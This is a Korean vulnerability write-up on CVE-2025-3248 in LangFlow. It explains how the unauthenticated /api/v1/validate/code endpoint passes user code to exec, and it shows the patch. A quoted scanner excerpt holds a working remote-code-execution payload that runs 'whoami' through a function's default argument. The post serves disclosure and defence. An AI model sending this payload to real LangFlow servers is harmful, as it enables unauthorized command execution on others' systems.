[하루한줄] CVE-2025-3248: LangFlow Code Injection Vulnerability

URL

Target

  • LangFlow < 1.3.0

Explain

AI 에이전트 빌드 및 배포 도구인 LangFlow 에서 Code Injection 취약점이 발견되었습니다.

LLM 이 생성한 코드를 검증하는 API 인 /api/v1/validate/code 에서 exec 를 호출하는 함수인 validate_code() 를 내부적으로 호출합니다.

해당 API 를 아무나 호출할 수 있었기에 [1], 현재 사용자만 이용 가능하도록 패치가 이루어졌습니다. [2]

from fastapi import APIRouter, HTTPException
from loguru import logger
from langflow.api.v1.base import Code, CodeValidationResponse, PromptValidationResponse, ValidatePromptRequest
from langflow.base.prompts.api_utils import process_prompt_template
from langflow.utils.validate import validate_code
# build router
router = APIRouter(prefix="/validate", tags=["Validate"])

@router.post("/code", status_code=200)
-async def post_validate_code(code: Code) -> CodeValidationResponse: # [1]
+async def post_validate_code(code: Code, current_user: CurrentActiveUser) -> CodeValidationResponse: [2]
    try:
        errors = validate_code(code.code)
        return CodeValidationResponse(
            imports=errors.get("imports", {}),
            function=errors.get("function", {}),
        )
    except Exception as e:
        logger.opt(exception=True).debug("Error validating code")
        raise HTTPException(status_code=500, detail=str(e)) from e

validate_code() 는 POST 로 전달받은 code 에 import 문과 python 함수 선언문이 있는지 확인 하여 import 문이 있는 경우 이름에 해당하는 모듈을 로드하고 [3] , 함수가 선언되었을 경우 exec 를 통해 코드를 실행합니다. [4]

def validate_code(code):
    # Initialize the errors dictionary
    errors = {"imports": {"errors": []}, "function": {"errors": []}}

    # Parse the code string into an abstract syntax tree (AST)
    try:
        tree = ast.parse(code)
    except Exception as e:  # noqa: BLE001
        if hasattr(logger, "opt"):
            logger.opt(exception=True).debug("Error parsing code")
        else:
            logger.debug("Error parsing code")
        errors["function"]["errors"].append(str(e))
        return errors

    # Add a dummy type_ignores field to the AST
    add_type_ignores()
    tree.type_ignores = []

    # Evaluate the import statements
    for node in tree.body:
        if isinstance(node, ast.Import):
            for alias in node.names:
                try:
                    importlib.import_module(alias.name) # [3]
                except ModuleNotFoundError as e:
                    errors["imports"]["errors"].append(str(e))

    # Evaluate the function definition
    for node in tree.body:
        if isinstance(node, ast.FunctionDef):
            code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
            try:
                exec(code_obj) # [4]
            except Exception as e:  # noqa: BLE001
                logger.opt(exception=True).debug("Error executing function code")
                errors["function"]["errors"].append(str(e))

공개된 CVE-2025-3248 스캐너(link)에서는 위 규칙에 맞게 python 함수를 선언하며 시스템 명령을 실행시키는 구문을 삽입한 것을 확인할 수 있습니다. [5]

# 스캐너 코드 일부 발췌
...
    def check_vulnerability(self):
        """Check if target is vulnerable to Langflow vulnerability"""
        try:
            validate_url = urljoin(self.url, '/api/v1/validate/code')

            payload = {
                "code": """
def test(cd=exec('raise Exception(__import__("subprocess").check_output("whoami", shell=True))')):
    pass
"""  # [5] 
            }
            
            print(f"{Fore.YELLOW}[*] Testing endpoint: {validate_url}")
            response = self.session.post(
                validate_url, 
                json=payload, 
                timeout=self.timeout
            )
  ...

여담이지만, 해당 패치로 Preauth 취약점까지는 막혔더라도, python 코드를 실행시키는 구조는 여전하기에 Account Takeover 나 세션 탈취와 같은 다른 취약점을 연계한다면 취약점이 재발현 될 수도 있겠다는 생각을 하게 되네요. 😥

Reference